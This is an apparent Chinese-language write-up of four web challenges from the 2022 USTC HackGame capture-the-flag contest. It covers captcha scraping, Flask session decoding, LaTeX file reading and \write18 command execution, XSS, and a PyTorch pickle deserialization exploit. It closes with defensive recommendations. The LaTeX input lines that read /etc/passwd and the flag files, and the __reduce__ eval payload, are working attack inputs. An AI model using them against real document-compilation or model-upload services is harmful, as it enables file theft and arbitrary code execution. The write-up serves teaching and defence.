从2022中科大hackgame web中学习pdflatex RCE和python反序列化
字数 1519 2025-08-26 22:11:45
从2022中科大HackGame学习PDFLaTeX RCE与Python反序列化
1. Xcaptcha - Python请求与Flask Session伪造
1.1 题目分析
- 题目要求在一秒内完成三次加法验证
- 验证码数字隐藏在网页中,需要通过爬虫提取并计算
1.2 解题方法
- 使用Python requests库发送GET请求获取页面
- 用BeautifulSoup解析HTML,提取三个加法题目
- 计算结果并构造POST请求提交
- 关键点:第二次请求需要使用第一次响应中的Set-Cookie
import requests
from bs4 import BeautifulSoup
# 第一次GET请求获取题目和cookie
req = requests.get(url, headers=http_header1)
cookie = req.headers.get("Set-Cookie")
# 解析题目并计算
soup = BeautifulSoup(req.text, 'html.parser')
capters = soup.find_all('div', class_='form-group')
results = []
for capter in capters:
expr = capter.text.strip("的结果是?\n")
a, b = expr.split('+')
results.append(int(a) + int(b))
# 第二次POST提交结果
data = {'captcha1': results[0], 'captcha2': results[1], 'captcha3': results[2]}
requests.post(url, headers=http_header2, data=data)
1.3 Flask Session伪造
- Flask的session存储在客户端cookie中,未加密时可被解析
- Session结构:
数据.时间戳.签名 - 解密脚本:
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decrypt_session(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
if payload.startswith(b'.'):
payload = payload[1:]
payload = zlib.decompress(base64_decode(payload))
return session_json_serializer.loads(payload)
2. LaTeX机器人 - PDFLaTeX RCE
2.1 题目分析
- 网站将用户输入的LaTeX插入到模板中编译为PDF
- 目标:读取服务器上的flag文件(/flag1和/flag2)
2.2 解题方法
方法1:使用\input命令
\input{/etc/passwd} % 读取任意文件
方法2:使用文件读取原语
\newread\file
\openin\file=/flag2
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
特殊字符处理
flag2包含#和_,需要修改字符类别代码:
\catcode`\#=11 % 将#设为字母类别
\catcode`\_=11 % 将_设为字母类别
2.3 PDFLaTeX RCE原理
- PDFLaTeX支持
\write18执行系统命令 - 配置文件中
shell_escape = p允许部分命令执行 - 可利用命令包括:bibtex, kpsewhich, makeindex等
\immediate\write18{bibtex8 --wolfgang \jobname} % 执行命令
\input{|bibtex8 --wolfgang \jobname} % 另一种执行方式
3. 微积分计算小练习 - XSS漏洞
3.1 题目分析
- 成绩页面通过URL参数result传递base64编码的成绩和用户名
- 页面使用innerHTML动态显示内容,存在XSS漏洞
3.2 解题方法
- 构造恶意用户名触发XSS:
- Base64编码后作为用户名提交
- Bot会访问该URL,将flag写入cookie并显示
4. 二次元神经网络 - Python反序列化
4.1 题目分析
- 网站接受用户上传的PyTorch模型文件(.pt)
- 模型文件使用pickle序列化,存在反序列化漏洞
4.2 Python反序列化原理
pickle.load()和torch.load()使用相同反序列化机制- 可通过
__reduce__方法执行任意代码
4.3 解题方法
- 构造恶意模型文件,覆盖正确答案:
import torch
class Exploit(object):
def __reduce__(self):
return (eval, ("open('/tmp/result.json', 'w').write('正确JSON内容')",))
torch.save(Exploit(), "model_exp.pt")
- 上传模型文件,触发反序列化执行代码
4.4 替代方案
利用模型参数直接构造正确结果:
args = "json.dump({'gen_imgs_b64': [...]}, open('/tmp/result.json', 'w'))"
5. 关键知识点总结
5.1 PDFLaTeX安全
- 文件读取:
\input,\include,\openin - 命令执行:
\write18, 受限于shell_escape_commands - 字符处理:
\catcode修改字符类别
5.2 Python反序列化
- 危险函数:
pickle.load(s),torch.load - 利用方式:
__reduce__返回可调用对象和参数 - 操作码:
R(元组调用),i(实例化调用),o(直接调用)
5.3 Web安全
- Flask Session:客户端存储,需保护secret_key
- XSS防御:避免使用innerHTML,转义用户输入
- CSRF防护:检查Referer,使用随机token
6. 防御建议
-
PDFLaTeX服务:
- 禁用
\write18或限制可执行命令 - 沙盒环境运行LaTeX编译
- 过滤用户输入的TeX命令
- 禁用
-
Python反序列化:
- 避免反序列化不可信数据
- 使用JSON等安全格式替代pickle
- 签名验证序列化数据
-
Web应用:
- 设置Flask secret_key
- 对所有动态内容进行HTML转义
- 实施严格的CSP策略